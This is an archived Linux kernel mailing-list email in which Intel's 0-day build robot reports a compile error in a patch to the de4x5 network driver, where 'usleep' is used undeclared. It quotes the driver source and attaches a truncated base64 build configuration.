Content-Type: multipart/mixed; boundary="fdj2RfSjLxBAspz7"
X-Trace: blaine.gmane.org 1523458665 1847 195.159.176.226 (11 Apr 2018 14:57:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Apr 2018 14:57:45 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, davem@davemloft.net, dhowells@redhat.com,
        stephen@networkplumber.org, johannes.berg@intel.com,
        arvind.yadav.cs@gmail.com, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
        Jia-Ju Bai <baijiaju1990@gmail.com>
To: Jia-Ju Bai <baijiaju1990@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 11 16:57:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f6HBo-0000A9-IO
	for glk-linux-kernel-4@m.gmane.org; Wed, 11 Apr 2018 16:57:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753975AbeDKO7p (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 11 Apr 2018 10:59:45 -0400
Original-Received: from mga05.intel.com ([192.55.52.43]:62925 "EHLO mga05.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753916AbeDKO7k (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 11 Apr 2018 10:59:40 -0400
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from orsmga005.jf.intel.com ([10.7.209.41])
  by fmsmga105.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 11 Apr 2018 07:59:38 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.48,436,1517904000"; 
   d="gz'50?scan'50,208,50";a="215804924"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga005.jf.intel.com with ESMTP; 11 Apr 2018 07:59:34 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1f6HDh-0000z8-Gy; Wed, 11 Apr 2018 22:59:33 +0800
Content-Disposition: inline
In-Reply-To: <1523412054-2108-1-git-send-email-baijiaju1990@gmail.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2738804 gmane.linux.network:526401 gmane.linux.ports.parisc:28478
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2738804>


--fdj2RfSjLxBAspz7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Jia-Ju,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on net-next/master]
[also build test ERROR on v4.16 next-20180411]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Jia-Ju-Bai/dec-tulip-de4x5-Replace-mdelay-with-usleep_range-in-de4x5_hw_init/20180411-222527
config: i386-randconfig-x015-201814 (attached as .config)
compiler: gcc-7 (Debian 7.3.0-1) 7.3.0
reproduce:
        # save the attached .config to linux build tree
        make ARCH=i386 

All errors (new ones prefixed by >>):

   drivers/net//ethernet/dec/tulip/de4x5.c: In function 'de4x5_hw_init':
>> drivers/net//ethernet/dec/tulip/de4x5.c:1110:5: error: implicit declaration of function 'usleep'; did you mean 'ssleep'? [-Werror=implicit-function-declaration]
        usleep(10000, 11000);
        ^~~~~~
        ssleep
   cc1: some warnings being treated as errors

vim +1110 drivers/net//ethernet/dec/tulip/de4x5.c

  1091	
  1092	
  1093	static int
  1094	de4x5_hw_init(struct net_device *dev, u_long iobase, struct device *gendev)
  1095	{
  1096	    char name[DE4X5_NAME_LENGTH + 1];
  1097	    struct de4x5_private *lp = netdev_priv(dev);
  1098	    struct pci_dev *pdev = NULL;
  1099	    int i, status=0;
  1100	
  1101	    dev_set_drvdata(gendev, dev);
  1102	
  1103	    /* Ensure we're not sleeping */
  1104	    if (lp->bus == EISA) {
  1105		outb(WAKEUP, PCI_CFPM);
  1106	    } else {
  1107		pdev = to_pci_dev (gendev);
  1108		pci_write_config_byte(pdev, PCI_CFDA_PSM, WAKEUP);
  1109	    }
> 1110	    usleep(10000, 11000);
  1111	
  1112	    RESET_DE4X5;
  1113	
  1114	    if ((inl(DE4X5_STS) & (STS_TS | STS_RS)) != 0) {
  1115		return -ENXIO;                       /* Hardware could not reset */
  1116	    }
  1117	
  1118	    /*
  1119	    ** Now find out what kind of DC21040/DC21041/DC21140 board we have.
  1120	    */
  1121	    lp->useSROM = false;
  1122	    if (lp->bus == PCI) {
  1123		PCI_signature(name, lp);
  1124	    } else {
  1125		EISA_signature(name, gendev);
  1126	    }
  1127	
  1128	    if (*name == '\0') {                     /* Not found a board signature */
  1129		return -ENXIO;
  1130	    }
  1131	
  1132	    dev->base_addr = iobase;
  1133	    printk ("%s: %s at 0x%04lx", dev_name(gendev), name, iobase);
  1134	
  1135	    status = get_hw_addr(dev);
  1136	    printk(", h/w address %pM\n", dev->dev_addr);
  1137	
  1138	    if (status != 0) {
  1139		printk("      which has an Ethernet PROM CRC error.\n");
  1140		return -ENXIO;
  1141	    } else {
  1142		skb_queue_head_init(&lp->cache.queue);
  1143		lp->cache.gepc = GEP_INIT;
  1144		lp->asBit = GEP_SLNK;
  1145		lp->asPolarity = GEP_SLNK;
  1146		lp->asBitValid = ~0;
  1147		lp->timeout = -1;
  1148		lp->gendev = gendev;
  1149		spin_lock_init(&lp->lock);
  1150		timer_setup(&lp->timer, de4x5_ast, 0);
  1151		de4x5_parse_params(dev);
  1152	
  1153		/*
  1154		** Choose correct autosensing in case someone messed up
  1155		*/
  1156	        lp->autosense = lp->params.autosense;
  1157	        if (lp->chipset != DC21140) {
  1158	            if ((lp->chipset==DC21040) && (lp->params.autosense&TP_NW)) {
  1159	                lp->params.autosense = TP;
  1160	            }
  1161	            if ((lp->chipset==DC21041) && (lp->params.autosense&BNC_AUI)) {
  1162	                lp->params.autosense = BNC;
  1163	            }
  1164	        }
  1165		lp->fdx = lp->params.fdx;
  1166		sprintf(lp->adapter_name,"%s (%s)", name, dev_name(gendev));
  1167	
  1168		lp->dma_size = (NUM_RX_DESC + NUM_TX_DESC) * sizeof(struct de4x5_desc);
  1169	#if defined(__alpha__) || defined(__powerpc__) || defined(CONFIG_SPARC) || defined(DE4X5_DO_MEMCPY)
  1170		lp->dma_size += RX_BUFF_SZ * NUM_RX_DESC + DE4X5_ALIGN;
  1171	#endif
  1172		lp->rx_ring = dma_alloc_coherent(gendev, lp->dma_size,
  1173						 &lp->dma_rings, GFP_ATOMIC);
  1174		if (lp->rx_ring == NULL) {
  1175		    return -ENOMEM;
  1176		}
  1177	
  1178		lp->tx_ring = lp->rx_ring + NUM_RX_DESC;
  1179	
  1180		/*
  1181		** Set up the RX descriptor ring (Intels)
  1182		** Allocate contiguous receive buffers, long word aligned (Alphas)
  1183		*/
  1184	#if !defined(__alpha__) && !defined(__powerpc__) && !defined(CONFIG_SPARC) && !defined(DE4X5_DO_MEMCPY)
  1185		for (i=0; i<NUM_RX_DESC; i++) {
  1186		    lp->rx_ring[i].status = 0;
  1187		    lp->rx_ring[i].des1 = cpu_to_le32(RX_BUFF_SZ);
  1188		    lp->rx_ring[i].buf = 0;
  1189		    lp->rx_ring[i].next = 0;
  1190		    lp->rx_skb[i] = (struct sk_buff *) 1;     /* Dummy entry */
  1191		}
  1192	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--fdj2RfSjLxBAspz7
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
